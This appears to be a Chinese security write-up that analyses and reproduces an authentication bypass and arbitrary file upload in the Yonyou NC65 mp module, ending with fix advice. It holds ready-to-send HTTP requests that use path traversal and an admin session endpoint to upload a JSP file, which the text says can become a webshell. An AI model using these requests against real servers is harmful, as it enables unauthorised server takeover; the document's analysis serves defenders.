用友NC mp模块文件上传漏洞分析
字数 987 2025-08-24 07:48:22
用友NC mp模块文件上传漏洞分析与利用教学文档
漏洞概述
用友NC mp模块存在一个文件上传漏洞,攻击者可以通过构造特殊请求绕过鉴权机制,上传任意文件(包括webshell)到服务器,从而获取服务器控制权限。
影响版本
- 用友NC65
漏洞分析
鉴权绕过机制
漏洞位于hotwebs/mp/WEB-INF/spring-mvc.xml配置文件中定义的拦截器:
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/**"/>
<bean id="loginInterceptor" class="com.yonyou.uap.mp.interceptor.LoginInterceptor"/>
</mvc:interceptor>
</mvc:interceptors>
关键点在LoginInterceptor类的preHandle方法中(位于\hotwebs\mp\WEB-INF\lib\uap.mp.core-0.1.0.jar):
- 首先获取请求URL并检查是否以
mp/或mp结尾 - 如果URL以
index.html结尾,检查登录状态 - 如果请求不是控制器方法(
!(handler instanceof HandlerMethod)),直接放行 - 对于控制器方法请求,检查URL是否包含
IGNORE_URI数组中的路径:private static final String[] IGNORE_URI = new String[]{"/initcfg", "/login", "/index", "/automsg", "/loginxietong", "/loginportal", "/signportal", "/loginportaldetail", "/loginportalmobile"}; - 如果URL包含这些路径,设置
flag=true并放行
漏洞成因:攻击者可以构造类似/mp/login/../xxxx的URL,Tomcat会将其规范化为/mp/xxxx,但request.getRequestURL()不会自动剔除危险字符,导致鉴权被绕过。
文件上传点
绕过鉴权后,可利用UploadFileServlet::doPost方法上传任意文件。
替代认证方式
还可以通过/mp/loginxietong?username=admin直接获取管理员session:
@ResponseBody
@RequestMapping(value={"/loginxietong"}, method={RequestMethod.GET})
public ModelAndView login(@RequestParam("username") String username, HttpServletRequest request) {
HttpSession session = request.getSession();
SessionUser user = new SessionUser();
user.setUserCode(username);
user.setAdmin(false);
user.setName(username);
session.setAttribute("user_logined", user);
logger.info("协同用户登录===>" + username);
return new ModelAndView("redirect:/indexforxietong.html");
}
漏洞复现
方法一:直接绕过鉴权上传
POST /mp/login/../uploadControl/uploadFile HTTP/1.1
Host: host
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Length: 314
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream
test content
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryoDIsCqVMmF83ptmp
上传成功后,文件路径为:/mp/uploadFileDir/test.jsp
方法二:先获取session再上传
-
首先获取cookie:
GET /mp/loginxietong?username=admin HTTP/1.1 Host: host -
使用获取的cookie上传文件:
POST /mp/uploadControl/uploadFile HTTP/1.1 Host: host Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=0884AE37CCD3416B96C5546D03E67F10.server; mp_name=admin;JSESSIONID=F5E62B60F069DA492605F276E527A71C.server Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp Content-Length: 314 ------WebKitFormBoundaryoDIsCqVMmF83ptmp Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: application/octet-stream test content ------WebKitFormBoundaryoDIsCqVMmF83ptmp Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryoDIsCqVMmF83ptmp
漏洞修复
- 应用用友官方发布的相关补丁
- 临时修复建议:
- 修改
LoginInterceptor类,严格校验URL路径 - 禁用
/mp/loginxietong接口或增加强认证 - 限制文件上传类型和目录权限
- 修改
总结
该漏洞利用了两个关键点:
- URL路径处理不一致导致的鉴权绕过
- 存在未严格限制的文件上传功能
攻击者可以结合这两个问题上传webshell获取服务器控制权,危害极大。建议受影响用户立即升级或采取防护措施。